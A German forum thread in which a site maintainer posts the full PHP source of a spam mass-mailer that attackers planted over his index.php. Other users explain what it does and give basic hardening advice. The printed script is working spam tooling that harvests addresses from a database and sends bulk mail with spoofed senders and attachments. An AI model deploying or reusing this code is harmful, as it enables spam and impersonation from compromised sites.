Seite wurde gehackt. Was macht dieses Skript?

tombe

Erfahrenes Mitglied
Hallo Forum,

eine Seite die von mir betreut wird, wurde vergangene Woche gehackt. Jetzt hab ich mir mal den Quellcode der Seite angeschaut aber ich versteh eigentlich nur Bahnhof.

Vielleicht könnt ihr euch das mal anschauen und mir sagen was da passiert. Vor allem die include Anweisung "include "./mysql.ino.php" würde mich interessieren. Die Datei müßte doch eigentlich irgendwo auf der Domain liegen wo auch die Seiten selbst sind, da ist aber nichts.

PHP:
Inbox Mailer By Ace/Ak Best MAtch

<?
If ($action=="mysql"){
    #Grab email addresses de MySQL
    include "./mysql.info.php";
    if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
    print "Porfavor configure su mysql.info.php en tu MySQL informacion. Todas las opciones requeridas.";
    exit;
    }
    $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Conexion en MySQL Fallida.");
    mysql_select_db($sqldb, $db) or die("Seleecione su DataBase $sqldb");
    $result = mysql_query($sqlquery) or die("Secion fallida: $sqlquery");
    $numrows = mysql_num_rows($result);
    for($x=0; $x<$numrows; $x++){
    $result_row = mysql_fetch_row($result);
    $oneemail = $result_row[0];
    $emaillist .= $oneemail."n";
    }
    }
if ($action=="send"){
    $message = urlencode($message);
    $message = ereg_replace("%5C%22", "%22", $message);
    $message = urldecode($message);
    $message = stripslashes($message);
    $subject = stripslashes($subject);
}
?>
<form name="form1" method="post" action="" enctype="multipart/form-data">
  <br>
  <table width="100%" border="0">
    <tr> 
      <td width="10%"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your 
          Mail:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="from" value="<? print $from; ?>" size="30">
        </font></td>
      <td width="31%"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your 
          Name:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="realname" value="<? print $realname; ?>" size="30">
        </font></td>
    </tr>
    <tr> 
      <td width="10%"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Repit:</font></div>
      </td>
      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="replyto" value="<? print $replyto; ?>" size="30">
        </font></td>
      <td width="31%"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Upload 
          Txt:</font></div>
      </td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="file" name="file" size="30">
        </font></td>
    </tr>
    <tr> 
      <td width="10%"> 
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
      </td>
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="text" name="subject" value="<? print $subject; ?>" size="90">
        </font></td>
    </tr>
    <tr valign="top"> 
      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="message" cols="60" rows="10"><? print $message; ?></textarea>
        <br>
        <input type="radio" name="contenttype" value="plain">
        Plain 
        <input type="radio" name="contenttype" value="html" checked>
        HTML 
        <input type="hidden" name="action" value="send">
        <input type="submit" value="Send Emails">
        </font></td>
      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <textarea name="emaillist" cols="30" rows="10"><? print $emaillist; ?></textarea>
        </font></td>
    </tr>
  </table>
</form>
<?
if ($action=="send"){
    if (!$from && !$subject && !$message && !$emaillist){
    print "Porfavor complete todo lo necesario.";
    exit;
    }
    $allemails = split("n", $emaillist);
    $numemails = count($allemails);
    #Open the file attachment if any, and base64_encode it for email transport
    If ($file_name){
        @copy($file, "./$file_name") or die("El archivo que intestaste subir al servidor, no puede ser copiado");
        $content = fread(fopen($file,"r"),filesize($file));
        $content = chunk_split(base64_encode($content));
        $uid = strtoupper(md5(uniqid(time())));
        $name = basename($file);
    }
    for($x=0; $x<$numemails; $x++){
        $to = $allemails[$x];
        if ($to){
        $to = ereg_replace(" ", "", $to);
        $message = ereg_replace("&email&", $to, $message);
        $subject = ereg_replace("&email&", $to, $subject);
        print "Sending mail to $to.......";
        flush();
        $header = "From: $realname <$from>rnReply-To: $replytorn";
        $header .= "MIME-Version: 1.0rn";
        If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uidrn";
        If ($file_name) $header .= "--$uidrn";
        $header .= "Content-Type: text/$contenttypern";
        $header .= "Content-Transfer-Encoding: 8bitrnrn";
        $header .= "$messagern";
        If ($file_name) $header .= "--$uidrn";
        If ($file_name) $header .= "Content-Type: $file_type; name="$file_name"rn";
        If ($file_name) $header .= "Content-Transfer-Encoding: base64rn";
        If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name"rnrn";
        If ($file_name) $header .= "$contentrn";
        If ($file_name) $header .= "--$uid--";
        mail($to, $subject, "", $header);
        print "ok<br>";
        flush();
        }
        }
}
?>
<p align="center"><b>Real Screwer Team 9 incher David Beckley</b></p>

Wäre echt nett wenn ihr mir dazu was sagen könnt.

Danke Thomas

P.S. Noch eine andere Frage dazu. Wie schützt ihr eure Domains vor solchen Angriffen
 
das Script ruft eigentlich bloß was aus Deiner DB ab. In dieser Datei wird wohl nix besonderes sein weil kein Funktionsaufruf oder eine Klassen Allokation wo ein Konstruktor gecalled wird.

[edit] Eine Datei wird noch kopiert und die kommt frei Haus per eMail siehe eMailList ;)

Schreibrechte nehmen, sauberen und sicheren Code schreiben. Falls Du eine bekannte Forensoftware oder ähnliches benutzen solltest, lies die Bug Tracker der Hersteller bzw. Autoren dieser Software und ggf. patch Time ;)
 
Zuletzt bearbeitet:
Was genau wurde gehackt, also was siehst du?

Interessant und sofort auffällig sind die Variablen $sql_query, $file_name und $file ... ich vermute die kommen an irgendeiner Stelle vom Client, und könnten so kompromittiert sein.

die Dateioperationen scheinen (man sieht ja leider nicht den kompletten Code, dank der fehlenden Includes) völlig ohne vorherige Prüfungen etc. statt zu finden und die Variablen werden einfach übernommen. Ähnliches kann ich mir ganz gut bei $sql_query vorstellen ... das sind so die häufigsten Fehler.

Um genaueres zu sagen, müsste man den kompletten Code sehen und Details aus der PHP Konfiguration wissen (Register Globals im Besonderen)
 
@snowtom:
Daten aus meiner DB abrufen kann das Skript nicht. Es gibt gar keine Datenbank zu der betreffenden Domain !!

@Sir Robin:
Also es wurde die index.php "umgeschrieben". Wenn man die Seite aufruft, erscheint nur eine Fehlermeldung :
Code:
Parse error: parse error, unexpected T_VARIABLE in index.php on line 252
Der ursprüngliche HTML/PHP Code der Seite wurde mit dem Skript komplett überschrieben.

Ich dachte das durch das Skript womöglich irgendwelche ilegalen Nachrichten verschickt wurden und den Inhaber der Domain als Absender drinsteht. Da beim Aufruf der Seite aber obiger Fehler kommt, hat der Haker aber wohl nicht sauber programmiert.

@Gumbo:
Register Globals sind deaktiviert, also kann nicht passiert sein?
 
Bis auf die Ausgabe des Formulars dürfte nicht passieren, da alle Aktionen an Bedingungen (if-Kontrollstrukturen) geknüpft sind, die bei deaktivierten Register Globals nur durch manuelles Setzen der Variablen erfüllt werden können.
 
Zurück